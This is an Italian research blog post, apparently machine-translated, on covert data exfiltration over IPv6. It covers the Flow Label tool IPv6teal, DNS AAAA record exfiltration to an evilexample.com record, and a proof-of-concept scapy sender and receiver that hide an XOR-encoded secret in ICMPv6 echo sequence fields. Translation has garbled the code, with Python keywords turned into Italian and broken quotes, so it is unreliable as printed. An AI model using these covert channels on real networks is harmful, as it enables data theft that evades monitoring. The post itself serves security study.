Testare le capacità di IPv6 e come il malware potrebbe trarne vantaggio.
All’interno del team Aposemat, hanno lavorato per testare le funzionalità di IPv6 e come il malware potrebbe trarne vantaggio. Uno degli argomenti affrontati è stato l’esfiltrazione di dati tramite il protocollo IPv6. In questo post, viene condiviso il loro studio su questo argomento.
Cos’è l’esfiltrazione?
L’esfiltrazione è l’esportazione non autorizzata di dati sensibili fuori dalla rete connettendosi a una destinazione esterna e / o utilizzando canali nascosti. Questi ultimi vengono comunemente usati per esfiltrare le informazioni, spesso non vengono rilevati e utilizzati per evitare qualsiasi misura in atto per bloccare la migrazione dei dati. Sono stati condotti numerosi studi su questo argomento e ancora oggi il furto di dati prodotto da violazioni pone l’esfiltrazione al centro dell’attenzione.
Per esfiltrare i dati, vengono comunemente usati i livelli di rete e di trasporto (mostrati nella Figura 1) così come quelli di basso livello che richiederebbero un’ispezione approfondita dei pacchetti per trovare eventi o identificare che l’esfiltrazione sta avvenendo. Forniscono anche campi e porzioni di dati nelle intestazioni dei pacchetti che non sono comunemente usati o azzerati. Queste sezioni possono essere utilizzate per memorizzare porzioni di dati e potrebbero passare inosservate analizzando le acquisizioni dei pacchetti.

Figura 1. Modello OSI e descrizione dei suoi livelli. I livelli 3 e 4 sono evidenziati rispettivamente in arancione chiaro e giallo. (Fonte: Wikipedia)
Strumenti del mestiere
Esistono diversi strumenti per eseguire l’esfiltrazione tramite stack di rete IPv6. Descriveremo IPv6teal e IPv6DNSExfil e come questi strumenti vengono utilizzati per esfiltrare i dati tramite IPv6.
IPv6teal
Il primo è IPv6teal e consiste in uno script destinatario e mittente (exfiltrate). Questo strumento fa uso del campo Etichetta flusso che viene utilizzato per etichettare sequenze di pacchetti e ha una dimensione fissa di 20 bit (dettagliata nella Figura 2). Utilizza questo campo specifico perché potrebbe essere variabile e contiene bit personalizzati senza impatto sul pacchetto che raggiunge la sua destinazione. Questo dettaglio è un buon candidato per l’archiviazione di dati che potrebbero raggiungere un endpoint in modo sicuro mentre sono nascosti nel traffico normale.

Figura 2. Struttura dell’intestazione del pacchetto IPv6 con il campo Etichetta flusso (contrassegnato in rosso). (Fonte: Wikipedia )
Per poter inserire più dati in meno pacchetti, l’autore ha deciso di utilizzare la compressione GZIP per ottenere questo risultato. Nei nostri test, ci sono voluti circa due secondi e 15 pacchetti per inviare un file di testo normale contenente la stringa THISISASECRET su Internet. L’informazione viene trasmessa con un valore magico che segna l’inizio e la fine del flusso di dati. Questi valori magici aggiungono anche ulteriori informazioni sui dati trasmessi.
Il flusso di pacchetti per il nostro test finisce per essere costruito in questo modo:

I pacchetti sono costruiti su due livelli superiori: il livello IPv6 e un livello “Raw”, che sono solo i dati aggiunti all’ultimo livello. Lo strato grezzo contiene i valori magici, discussi in precedenza, e dice al ricevitore quando inizia una trasmissione, quanti bit verranno trasmessi e quanti pacchetti verranno trasmessi, senza contare il pacchetto che termina la trasmissione.
Un’altra tecnica di esfiltrazione, a un livello superiore del modello OSI, viene eseguita tramite record DNS AAAA. I record AAAA sono stati progettati per essere utilizzati con indirizzi IPv6. Quando un client richiede l’indirizzo IPv6 di un dominio, utilizzerà questo record per ottenerlo da un server DNS. Sebbene per questo scopo fossero comunemente usati i record TXT in quanto possono contenere dati leggibili dall’uomo, oltre che leggibili dalla macchina, le query ai record TXT sono meno comuni e potrebbero essere catturate rapidamente durante uno studio del flusso di rete.
IPv6DNSExfil
Strumenti come IPv6DNSExfil fanno uso di questa tecnica per memorizzare un secret, in un formato di indirizzo pseudo-IPv6, per un breve periodo di tempo su record AAAA. Si farà uso dello strumento nsupdate per creare in modo dinamico suddetti record AAAA e spingere in tal modo le informazioni a un server DNS attraverso l’upstream exfiltrating. Un record creato in questo modo, utilizzando lo stesso segreto che abbiamo utilizzato in precedenza, sarà simile a questo:
a.evilexample.com. 10 AAAA 2000: 5448 : 4953 : 4953 : 4153 : 4543 : 5245 : 54 00
THISISASECRET
Record DNS
TTL
Tipo di registrazione
Dati
Una volta che il record è stato impostato, i criminali possono utilizzare questi dati a loro piacimento, usandoli come C&C ( come suggerito dall’autore ) o semplicemente per trasferire le informazioni da un endpoint a un altro con query DNS a quel server specifico.
Metodi di esfiltrazione personalizzati
Librerie come scapy, per Python, rendono più facile per gli sviluppatori interagire con le astrazioni di rete a un livello superiore. Ad esempio, con solo due righe di codice siamo in grado di inviare un pacchetto predisposto a un endpoint IPv6:
% sudo python3
Python 3.5 . 2 (di default, Lug 10 2019 , 11 : 58 : 48 )
[GCC 5.4 . 0 20160609 ] su linux
Digitare “help” , “copyright” , “credits” o “license” per ulteriori informazioni .
>>> da scapy.all importa IPv6, Raw, invia
>>> invia (IPv6 (dst = “XXXX: XXX: X: 1662: 7a8a: 20ff: fe43: 93d4″”test” ))
.
Inviato 1 pacchetto.
E sniffando sull’altro endpoint possiamo vedere il pacchetto raggiungere la sua destinazione dove abbiamo incluso la stringa “test”:
# tcpdump -s0 -l -X -i eth0 ‘ip6 e non icmp6’
tcpdump: output dettagliato soppresso, utilizzare -v o -vv per l’ascolto della decodifica completa del protocollo su eth0, tipo di collegamento EN10MB (Ethernet), dimensione di cattura 262144 byte 23 : 47: 15.996483 IP6 XXXX: XXX: X: 1663 :: 1ce> XXXX: XXX: X: 1662: 7a8a: 20ff: fe43: 93d4: nessuna intestazione successiva
0x0000: 6000 0000 0004 3b3e XXXX XXXX XXXX 1663 `…. .;> ……. c
0x0010: 0000 0000 0000 01ce XXXX XXXX XXXX 1662 …………… b
0x0020: 7a8a 20ff fe43 93d4 7465 7374 0000 z … .C .. test ..
Utilizzando questo stesso approccio possiamo iniziare a generare traffico in modo dinamico utilizzando scapy invece di inviare semplicemente pacchetti senza uno strato di trasporto superiore. Un caso potrebbe essere l’utilizzo del protocollo ICMPv6 , che è una versione migliorata del suo parente IPv4. Un metodo di esfiltrazione “classico” che utilizza questo protocollo consiste nell’utilizzare i messaggi di eco e risposta (comunemente usati dallo strumento di rete ping6 ) per inviare dati all’esterno della rete senza stabilire una connessione come TCP. In questo modo possiamo inviare blocchi specifici di dati su IPv6 tramite richieste di eco ICMPv6 a un host remoto che annusa la rete. Dai un’occhiata a questo codice, ad esempio:
da scapy.all importazione IPv6, ICMPv6EchoRequest, invio
import sys
secret = “THISISASECRET” # nascosto informazioni memorizzate nel pacchetto finale = sys . argv [ 1 ] # addr dove stiamo inviando i dati
# preso da un pacchetto ping6 casuale
# 0x0030: 1e38 2c5f 0000 0000 4434 0100 0000 0000 .8, _…. D4 ……
# 0x0040: 1011 1213 1415 1617 1819 1a1b 1c1d 1e1f …… ……….
# 0x0050: 2021 2223 2425 2627 2829 2a2b 2c2d 2e2f.! “# $% & ‘() * +, -. /
# 0x0060: 3031 3233 3435 3637 01234567
data = ” \ x1e \ x38 \ x2c \ x5f \ x00 \ x00 \ x00 \ x00 \ x44 \ x34 \ x01 \ x00 \ x00 \ x00 \ x00 \ x00 ” \ ” \ x10 \ x11 \ x12 \ x13 \ x14 \ x15 \ x16 \ x17 \ x18 \ x19 \ x1a \ x1b \ x1c \ x1d \ x1e \ x1f ” \ ” \ x20 \ x21 \ x22 \ x23 \ x24 \ x25 \ x26 \ x27 \ x28 \ x29 \ x2a \ x2b \ x2c \ x2d \ x2e \ x2f ” \ ” \ x30 \ x31 \ x32 \ x33 \ x34 \ x35 \ x36 \ x37 “
def sendpkt (d):
if len (d) == 2 : seq = ( ord (d [ 0 ]) << 8 ) + ord (d [ 1 ]) else : seq = ord (d) send (IPv6 (dst = endpoint) / ICMPv6EchoRequest ( id = 0x1337 , seq = seq, data = data))
# crittografa i dati con la chiave 0x17
xor = lambda x: ” . join ([ chr ( ord (c) ^ 0x17 ) for c in x])
i = 0
per b in intervallo ( 0 , len (segreto), 2 ): sendpkt (xor (secret [b: b + 2 ]))
Questo script utilizzerà la stringa segreta che abbiamo inviato in precedenza, la crittograferà utilizzando la crittografia XOR e invierà ogni due byte di quella stringa crittografata segreta tramite una richiesta echo ICMPv6 con un ID specifico. Questi due byte sono nascosti nel campo sequenza, che è un breve campo intero, e possono essere decrittati a destinazione da un ricevitore. Inoltre, stiamo impostando il pacchetto con un ID specifico (in questo caso 0x1337 ) perché vogliamo riconoscere facilmente il pacchetto come uno dei nostri nel flusso del traffico di rete. Quindi, mandiamo un secret!
% sudo python3 ipv6_icmp6_exfil.py XXXX: XXX: X: 1663 :: 1ce
.
Inviato 1 pacchetto.
.
Inviato 1 pacchetto.
.
Inviato 1 pacchetto.
.
Inviato 1 pacchetto.
.
Inviato 1 pacchetto.
.
Inviato 1 pacchetto.
.
Inviato 1 pacchetto.
Dall’altro lato della linea, ci sarà un ricevitore. Il ricevitore controllerà l’ID della richiesta di eco ICMPv6 e, se corrisponde, decodificherà i dati inviati tramite il campo della sequenza. Il codice ha questo aspetto:
da scapy.all import sniff, IPv6, ICMPv6EchoRequest
import sys xor = lambda x: chr (x ^ 0x17 )
def pkt (p):
if ‘ICMPv6EchoRequest’ in p e p [ ‘ICMPv6EchoRequest’ ] . id == 0x1337 :
s = p [ “ICMPv6EchoRequest” ] . seq
print (xor ((s & 0xff00 ) >> 8 ) + xor (s & 0xff ), end = ” ) sys . stdout . flush () sniff ( filter = “ip6 e icmp6”, prn = pkt)
Dopo averlo eseguito, lo script analizzerà in particolare la rete per i pacchetti IPv6 e ICMPv6. Questo sniffing di rete è alimentato dai filtri tcpdump che elaboreranno i pacchetti che potrebbero essere di nostro interesse. Una volta che il pacchetto è stato catturato, viene elaborato dalla funzione pkt () che controllerà l’ID ICMPv6 e se corrisponde all’ID che stiamo cercando decritterà le informazioni e le stamperà sullo schermo:
% sudo python3 ipv6_icmp6_recv.py
THISISASECRET
Il processo può essere spiegato in modo più semplice tramite il grafico di flusso successivo:

Figura 3. I pacchetti con dati crittografati nel campo sequenza vengono ricevuti e decrittografati.
Il proof-of-concept qui evidenziato ha impiegato lo stesso tempo, ad esempio, di IPv6teal con 2 secondi per trasmettere la stringa segreta e imita il (quasi) normale ICMPv6 prodotto da ping6. Abbiamo eseguito un test con 1 kilobyte di dati da trasmettere utilizzando questa tecnica su Internet e ci sono voluti 8 minuti e 42 secondi per completare l’attività.
In sintesi
IPv6 sta crescendo in popolarità così come la necessità di più spazio di indirizzamento. Tuttavia, la percentuale di adozione di IPv6 in tutto il mondo è inferiore al 35%, principalmente perché richiede ancora un grande sforzo e investimenti da parte di aziende e organizzazioni. Ciò significa che gli strumenti e le tecniche dimostrati in questo articolo richiederanno tempo per essere pienamente adottati o utilizzati, lasciando spazio per sviluppare ulteriormente ulteriori idee e metodologie.




Lascia un commento